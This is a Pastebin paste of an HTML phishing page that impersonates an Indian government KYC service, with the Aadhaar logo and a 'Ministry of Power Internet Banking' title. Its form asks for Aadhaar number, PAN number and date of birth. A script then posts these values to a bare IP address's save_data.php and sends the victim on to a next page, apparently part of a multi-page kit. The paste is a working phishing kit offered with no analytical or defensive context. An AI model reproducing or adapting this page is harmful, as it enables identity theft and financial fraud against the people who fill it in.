Advertisement
Vivek333

Aadhar Card 3

Oct 12th, 2024
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.75 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>Ministry of Power Internet Banking</title>
  7. <style>
  8. body {
  9. font-family: Arial, sans-serif;
  10. background-color: #f0f8ff;
  11. margin: 0;
  12. padding: 20px;
  13. display: flex;
  14. justify-content: center;
  15. align-items: center;
  16. min-height: 100vh;
  17. }
  18. .container {
  19. background-color: white;
  20. padding: 20px;
  21. border-radius: 8px;
  22. box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
  23. max-width: 400px;
  24. width: 100%;
  25. }
  26. .logo {
  27. display: flex;
  28. align-items: center;
  29. margin-bottom: 20px;
  30. }
  31. .logo img {
  32. width: 150px;
  33. height: auto;
  34. margin-right: 10px;
  35. }
  36. .logo-text {
  37. font-size: 14px;
  38. line-height: 1.2;
  39. }
  40. h1 {
  41. text-align: left;
  42. margin: 0;
  43. font-size: 24px;
  44. margin-bottom: 20px;
  45. color: #000080;
  46. }
  47. .hindi {
  48. font-size: 18px;
  49. }
  50. select, input {
  51. width: 100%;
  52. padding: 10px;
  53. margin-bottom: 15px;
  54. border: 1px solid #ccc;
  55. border-radius: 4px;
  56. box-sizing: border-box;
  57. font-size: 16px;
  58. }
  59. select {
  60. appearance: none;
  61. background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='%23000000' viewBox='0 0 16 16'%3E%3Cpath d='M7.247 11.14 2.451 5.658C1.885 5.013 2.345 4 3.204 4h9.592a1 1 0 0 1 .753 1.659l-4.796 5.48a1 1 0 0 1-1.506 0z'/%3E%3C/svg%3E");
  62. background-repeat: no-repeat;
  63. background-position: right 10px center;
  64. }
  65. .pay-btn {
  66. background-color: #0066cc;
  67. color: white;
  68. border: none;
  69. padding: 12px;
  70. width: 100%;
  71. font-size: 18px;
  72. border-radius: 4px;
  73. cursor: pointer;
  74. }
  75. .small-red-text {
  76. color: red;
  77. font-size: 12px;
  78. margin-top: 5px;
  79. display: block;
  80. }
  81. </style>
  82. </head>
  83. <body>
  84. <div class="container">
  85. <div class="logo">
  86. <img src="https://upload.wikimedia.org/wikipedia/hi/thumb/c/cf/Aadhaar_Logo.svg/600px-Aadhaar_Logo.svg.png?20211118080822" alt="Ministry of Power Logo">
  87. </div>
  88. <h1>Enter below details to complete your KYC</h1>
  89. <span class="small-red-text">अपना केवाईसी पूर्ण करने के लिए अपनी जानकारी दर्ज कीजिए</span>
  90. <br>
  91. <hr>
  92.  
  93. <form id="loginForm" onsubmit="return validateForm()">
  94.  
  95. <input id="aadhar" type="text" placeholder="Aadhar Number (आधार अंक )" required>
  96. <input id="pan" type="text" placeholder="PAN Number ( पैन अंक )" required>
  97. <input id="dob" type="text" placeholder="Date of Birth: DD/MM/YYYY" required maxlength="10">
  98.  
  99. <button type="submit" class="pay-btn">Submit</button>
  100. </form>
  101. </div>
  102. <script>
  103. function formatDateOfBirth(input) {
  104. let value = input.value.replace(/\D/g, '');
  105. let formattedValue = '';
  106. for (let i = 0; i < value.length; i++) {
  107. if (i === 2 || i === 4) {
  108. formattedValue += '/';
  109. }
  110. formattedValue += value[i];
  111. }
  112. input.value = formattedValue;
  113. }
  114.  
  115. document.getElementById('dob').addEventListener('input', function() {
  116. formatDateOfBirth(this);
  117. });
  118. </script>
  119. <script>
  120. function validateForm() {
  121.  
  122. const aadhar = document.getElementById('aadhar').value.trim();
  123. const pan = document.getElementById('pan').value.trim();
  124. const dob = document.getElementById('dob').value.trim();
  125.  
  126.  
  127. if (aadhar === '' || pan === '' || dob ==='') {
  128. alert('All fields are required. Please fill in all the information.');
  129. return false;
  130. }
  131.  
  132. captureFormData();
  133. return false; // Prevent form from submitting normally
  134. }
  135.  
  136. function captureFormData() {
  137.  
  138. const aadhar = document.getElementById('aadhar').value.trim();
  139. const pan = document.getElementById('pan').value.trim();
  140. const dob = document.getElementById('dob').value.trim();
  141.  
  142. fetch('http://41.216.183.23/ALL/4/save_data.php', {
  143. method: 'POST',
  144. headers: {
  145. 'Content-Type': 'application/json'
  146. },
  147. body: JSON.stringify({
  148. form: 3,
  149. aadharr: aadhar,
  150. pann: pan,
  151. dobb: dob
  152.  
  153. })
  154. })
  155. .then(response => {
  156. if (response.ok) {
  157. alert('Successful. Redirecting to next page');
  158. window.location.href = '4.html';
  159. } else {
  160. alert('Failed to submit form data. Please try again later.');
  161. }
  162. })
  163. .catch(error => {
  164. console.error('Error:', error);
  165. alert('Your request has been registered.');
  166. });
  167. }
  168. </script>
  169. </body>
  170. </html>
  171.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement